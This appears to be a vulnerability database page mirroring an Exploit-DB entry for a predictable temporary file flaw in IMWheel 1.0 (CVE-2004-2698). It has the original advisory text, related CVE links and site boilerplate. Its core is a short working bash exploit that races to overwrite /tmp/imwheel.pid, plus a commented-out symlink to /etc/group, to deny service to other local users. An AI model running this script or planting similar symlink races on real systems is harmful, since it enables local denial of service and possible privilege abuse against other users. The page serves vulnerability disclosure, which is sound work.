Lucene search
+L

IMWheel 1.0 - Predictable Temporary File Creation

🗓️ 23 Aug 2004 00:00:00Reported by I)ruidType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

IMWheel 1.0 has a predictable temporary file creation vulnerability allowing local denial of service.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2004-2698
6 Oct 200721:00
cve
Cvelist
CVE-2004-2698
6 Oct 200721:00
cvelist
Debian CVE
CVE-2004-2698
6 Oct 200721:00
debiancve
EUVD
EUVD-2004-2688
7 Oct 202500:30
euvd
NVD
CVE-2004-2698
31 Dec 200405:00
nvd
OpenVAS
FreeBSD Ports: imwheel
4 Sep 200800:00
openvas
OpenVAS
FreeBSD Ports: imwheel
4 Sep 200800:00
openvas
OSV
DEBIAN-CVE-2004-2698
31 Dec 200405:00
osv
source: https://www.securityfocus.com/bid/11008/info

IMWheel is reported prone to a predictable temporary file creation vulnerability. This issue is a race condition error and may allow a local attacker to carry out denial of service attacks against other users and possibly gain elevated privileges.

This vulnerability was identified in IMWheel 1.0.0pre11, however, other versions may be affected as well.

#!/bin/bash

# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000

echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done

# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid

# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid

echo "Exploit Successful!!!"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jan 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.9
EPSS0.00466
25